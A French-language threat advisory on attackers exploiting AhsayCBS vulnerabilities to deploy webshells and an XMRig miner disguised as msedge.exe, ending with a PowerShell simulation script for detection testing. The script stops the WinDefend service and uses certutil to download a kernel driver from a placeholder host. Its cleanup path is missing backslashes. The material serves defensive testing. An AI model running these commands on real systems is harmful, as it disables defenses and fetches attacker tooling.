Les Acteurs de Menace Exploitent des Failles Critiques dans AhsayCBS pour Déployer des Webshells et le Cryptomineur XMRig

Résumé

Des acteurs malveillants exploitent deux vulnérabilités critiques dans le logiciel de sauvegarde AhsayCBS pour obtenir une exécution de code à distance non authentifiée. Après avoir obtenu l’accès, les attaquants déploient des webshells JSP et installent des cryptomineurs XMRig déguisés en processus Microsoft Edge. La campagne utilise également un script PowerShell assisté par intelligence artificielle conçu pour échapper à la détection en surveillant et en interférant avec le Gestionnaire des tâches Windows.

Enquête

Huntress a identifié une chaîne d’exploitation combinant CVE-2026-105133 pour le contournement d’authentification avec CVE-2026-105134 pour l’exécution de code à distance. Les chercheurs ont observé une utilité NSSM modifiée renommée en msedge.exe et le pilote de noyau vulnérable WinRing0x64.sys utilisé pour fournir au mineur un accès matériel de bas niveau. L’activité post-exploitation incluait également la création d’un service Windows malveillant nommé MicrosoftEdgeUpdateSvc.

Atténuation

Les organisations utilisant des versions d’AhsayCBS jusqu’à la 10.3.4 devraient immédiatement limiter l’accès à l’interface de gestion à des adresses IP de confiance ou à des connexions VPN. Les mises à jour de sécurité doivent être appliquées dès qu’elles sont libérées par le fournisseur. Les administrateurs devraient également surveiller les processus enfants suspects lancés depuis l’exécutable du service AhsayCBS.

Réponse

Lorsque des indicateurs de compromission sont détectés, les organisations devraient effectuer une réimagerie complète de l’hôte à partir d’une sauvegarde de confiance pour éliminer les portes dérobées secondaires potentielles. Enquêter sur les services Windows non autorisés et les fichiers suspects stockés dans les répertoires Temp. Examiner la télémétrie réseau pour les connexions aux pools de minage de crypto-monnaies connus ou à l’infrastructure Alibaba Cloud OSS.

Exécution de simulation

• Narration de l’attaque et commandes : L’adversaire a réussi à exploiter le service AhsayCBS. Pour maintenir la persistance et déployer un cryptomineur, il génère d’abord une console de commande depuis le cbssvcX64.exe processus. Pour éviter la détection, il lance un processus nommé msedge.exe en utilisant l’argument --daemonized , le faisant ressembler à un processus de navigateur en arrière-plan légitime. Il utilise ensuite PowerShell pour arrêter les services de sécurité (simulé via un bloc script). Enfin, il utilise certutil.exe pour télécharger WinRing0x64.sys, un pilote utilisé pour faciliter l’accès au système à bas niveau pour sa charge de minage.

• Script de test de régression :

  # Script de simulation pour post-exploitation AhsayCBS
  # REMARQUE : Ce script simule le comportement en imitant la hiérarchie des processus et les lignes de commandes.
  
  # 1. Simuler la génération de cmd.exe par AhsayCBS (nécessite un contexte de filiation de processus spécifique dans les journaux réels)
  # À des fins de simulation, nous utiliserons une approche de processus enfant.
  $cbsProcess = Start-Process "cmd.exe" -ArgumentList "/c echo AhsayCBS Simulation" -PassThru
  
  # 2. Simuler le Faux Processus Edge Daemonisé
  Start-Process "msedge.exe" -ArgumentList "--daemonized"
  
  # 3. Simuler un bloc script PowerShell malveillant
  $maliciousScript = {
      Write-Host "Tentative de désactivation des défenses..."
      Stop-Service -Name "WinDefend" -Force
      # Simuler l'interaction avec le Gestionnaire des tâches
      $taskManager = "Gestionnaire des tâches"
  }
  Invoke-Command -ScriptBlock $maliciousScript
  
  # 4. Simuler le téléchargement de pilote par Certutil
  Start-Process "certutil.exe" -ArgumentList "-urlcache -split -f https://example.com/WinRing0x64.sys"

• Commandes de nettoyage :

  # Nettoyage : Terminer les processus simulés et supprimer tous les objets téléchargés.
  Stop-Process -Name "msedge" -ErrorAction SilentlyContinue
  Stop-Process -Name "cmd" -ErrorAction SilentlyContinue
  Remove-Item -Path "C:Users*DownloadsWinRing0x64.sys" -ErrorAction SilentlyContinue